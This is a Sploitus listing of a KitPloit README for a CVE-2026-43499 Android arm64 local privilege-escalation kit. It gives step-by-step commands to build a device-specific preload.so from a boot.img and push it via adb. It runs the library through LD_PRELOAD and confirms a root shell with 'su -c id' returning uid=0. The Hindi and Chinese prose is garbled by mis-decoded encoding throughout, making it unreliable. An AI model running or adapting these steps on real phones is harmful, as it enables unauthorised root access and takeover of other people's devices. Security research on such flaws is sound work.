Sploitus

Exploit for CVE-2026-43499-Poc-Analysis

kitploit ┬╖ 2026-08-24

Exploit Code

MARKDOWN350 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIANWAN1314-CVE-2026-43499-POC-ANALYSIS
# CVE-2026-43499 Android arm64 рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЕрдиреБрдХреВрд▓рди

English | ф╕нцЦЗ

* * *

рдпрд╣ **CVE-2026-43499** рдХреЗ рд▓рд┐рдП рдПрдХ Android arm64 рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЕрдиреБрдХреВрд▓рди рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИред

рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд▓рдХреНрд╖реНрдп рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ `boot.img` рдФрд░ profile рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ `target.h` рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ рд╕рдВрдмрдВрдзрд┐рдд `preload.so` рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред

> рдиреЛрдЯ: рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрдХреВрд▓рди рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЙрдбрд▓ рд╕реЗ рдмрдВрдзрд╛ рдирд╣реАрдВ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ `generate_target.py` рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ `target.h` рдЙрддреНрдкрдиреНрди рдХрд░ рдкрд╛рддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдФрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░реАрдХреНрд╖рдг рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдкрд░ред

* * *

## рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рдВрд░рдЪрдирд╛

root@kitploit:~
    
    
    щб╣чЫочЫох╜Х/
    тФЬтФАтФА boot.img                  # чЫоцаЗшо╛хдЗхРМхЫ║ф╗╢ boot щХЬхГП
    тФЬтФАтФА profile_xxx.json           # чЫоцаЗшо╛хдЗ profile
    тФЬтФАтФА detect_offset.py           # цгАц╡Л profile чФи
    тФЬтФАтФА generate_target.py         # чФЯцИР target.h
    тФЬтФАтФА source/
    тФВ   тФЬтФАтФА Makefile
    тФВ   тФФтФАтФА src/
    тФВ       тФФтФАтФА target.h           # шЗкхКичФЯцИР
    тФФтФАтФА source/build/bin/
        тФФтФАтФА preload.so             # ч╝ЦшпСф║зчЙй
    

* * *

## рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдПрдБ

### рдореВрд▓ рдирд┐рд░реНрднрд░рддрд╛рдПрдБ

root@kitploit:~
    
    
    Python 3
    LLVM / llvm-objdump
    Android NDK
    make
    adb
    

### Windows рдХреЗ рд▓рд┐рдП рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг

Windows рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ:

root@kitploit:~
    
    
    MSYS2 UCRT64
    Android NDK r29
    LLVM Windows x86_64
    

MSYS2 рдореЗрдВ make рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    pacman -S make coreutils
    

* * *

## рдлрд╝рд╛рдЗрд▓реЗрдВ рддреИрдпрд╛рд░ рдХрд░рдирд╛

рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    boot.img
    profile_xxx.json
    

profile рдЙрджрд╛рд╣рд░рдг:

root@kitploit:~
    
    
    {
      "p0_phys_offset": "0x80000000",
      "p0_kernel_phys_load": "0xc7800000"
    }
    

profile рдореЗрдВ рдпреЗ рджреЛ рдкрддреЗ:

root@kitploit:~
    
    
    p0_phys_offset
    p0_kernel_phys_load
    

рдкрд╣рд▓реЗ рд╕реЗ Root рдХрд┐рдП рдЧрдП, рдФрд░ рд▓рдХреНрд╖реНрдп boot.img рдХреЗ рд╕рдорд╛рди рдлрд░реНрдорд╡реЗрдпрд░ рд╡рд╛рд▓реЗ рдлреЛрди рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдХрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

root@kitploit:~
    
    
    python3 detect_offset.py
    

Windows рдкрд░ рднреА:

root@kitploit:~
    
    
    python detect_offset.py
    

* * *

## рдЙрдкрдпреЛрдЧ рдХреЗ рдЪрд░рдг

### 1\. рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░реЗрдВ

Linux / macOS:

root@kitploit:~
    
    
    cd /path/to/project
    

Windows MSYS2 рдЙрджрд╛рд╣рд░рдг:

root@kitploit:~
    
    
    cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
    

* * *

### 2\. NDK рдкрде рд╕реЗрдЯ рдХрд░реЗрдВ

Linux / macOS рдЙрджрд╛рд╣рд░рдг:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=/path/to/android-ndk
    

Windows MSYS2 рдЙрджрд╛рд╣рд░рдг:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
    

* * *

### 3\. target.h рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ

root@kitploit:~
    
    
    python3 generate_target.py \
      --boot boot.img \
      --profile profile_xxx.json \
      -o source/src/target.h
    

Windows рдкрд░ рдпрджрд┐ `python3` рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python generate_target.py \
      --boot boot.img \
      --profile profile_xxx.json \
      -o source/src/target.h
    

рдпрджрд┐ `llvm-objdump` рдирд╣реАрдВ рдорд┐рд▓рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рдорд┐рд▓реЗ, рддреЛ рдкрде рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python generate_target.py \
      --boot boot.img \
      --profile profile_xxx.json \
      -o source/src/target.h \
      --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
    

рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:

root@kitploit:~
    
    
    чФЯцИРцИРхКЯ: .../source/src/target.h
    kernel SHA-256: ...
    target macros: ...
    

* * *

### 4\. preload.so рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ

Linux / macOS:

root@kitploit:~
    
    
    make -C source clean preload
    

Windows MSYS2:

root@kitploit:~
    
    
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрддреНрдкрдиреНрди рд╣реЛрдЧрд╛:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

* * *

### 5\. рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдкреБрд╢ рдХрд░реЗрдВ рдФрд░ рдЪрд▓рд╛рдПрдБ

root@kitploit:~
    
    
    adb push source/build/bin/preload.so /data/local/tmp/preload.so
    adb shell 'chmod 0644 /data/local/tmp/preload.so'
    adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
    

рд╕рддреНрдпрд╛рдкрди:

root@kitploit:~
    
    
    adb shell '/data/local/tmp/su -c id'
    

рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ рдЖрдорддреМрд░ рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:

root@kitploit:~
    
    
    uid=0(root) gid=0(root)
    

* * *

## Windows MSYS2 рдПрдХ-рдХреНрд▓рд┐рдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рдЖрдкрдХреЗ рдкрде рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдиреБрд╕рд╛рд░:

root@kitploit:~
    
    
    cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
    export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
    python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

рдЕрдВрддрд┐рдо рдлрд╝рд╛рдЗрд▓:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

* * *

## рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╕реНрдпрд╛рдПрдБ

### llvm-objdump рдирд╣реАрдВ рдорд┐рд▓ рд░рд╣рд╛

LLVM рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ, рдпрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    --llvm-objdump "/path/to/llvm-objdump"
    

* * *

### make рдирд╣реАрдВ рдорд┐рд▓ рд░рд╣рд╛

Windows рдкрд░ MSYS2 рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    pacman -S make coreutils
    

* * *

### clang рдирд╣реАрдВ рдорд┐рд▓ рд░рд╣рд╛

рдЖрдорддреМрд░ рдкрд░ NDK рдкрде рд╕рд╣реА рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Windows MSYS2 рдЙрджрд╛рд╣рд░рдг:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

* * *

### target.h рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓рддрд╛

рдЖрдорддреМрд░ рдкрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡рд░реНрддрдорд╛рди `boot.img` рдпрд╛ рдХрд░реНрдиреЗрд▓ рд▓реЗрдЖрдЙрдЯ рдЕрднреА рддрдХ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЕрдиреБрдХреВрд▓рд┐рдд рдирд╣реАрдВ рд╣реБрдЖ рд╣реИред

рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЬрд╛рдБрдЪреЗрдВ:

root@kitploit:~
    
    
    boot.img цШпхРжхоМцХ┤
    profile цШпхРжцнгчбо
    llvm-objdump цШпхРжхПпчФи
    хЖЕца╕цШпхРжцЬЙ IKCONFIG / kallsyms / BTF
    

* * *

## рдиреЛрдЯ

  * рдбрд┐рд╡рд╛рдЗрд╕, рд╕рд┐рд╕реНрдЯрдо рдпрд╛ рдХрд░реНрдиреЗрд▓ рдмрджрд▓рдиреЗ рдХреЗ рдмрд╛рдж `target.h` рдХреЛ рдкреБрдирдГ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
  * `target.h` рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИ; рдЗрд╕реЗ `generate_target.py` рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
  * рдХреГрдкрдпрд╛ рдХреЗрд╡рд▓ рдЙрдиреНрд╣реАрдВ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрдзрд┐рдХрд╛рд░ рд╣реИред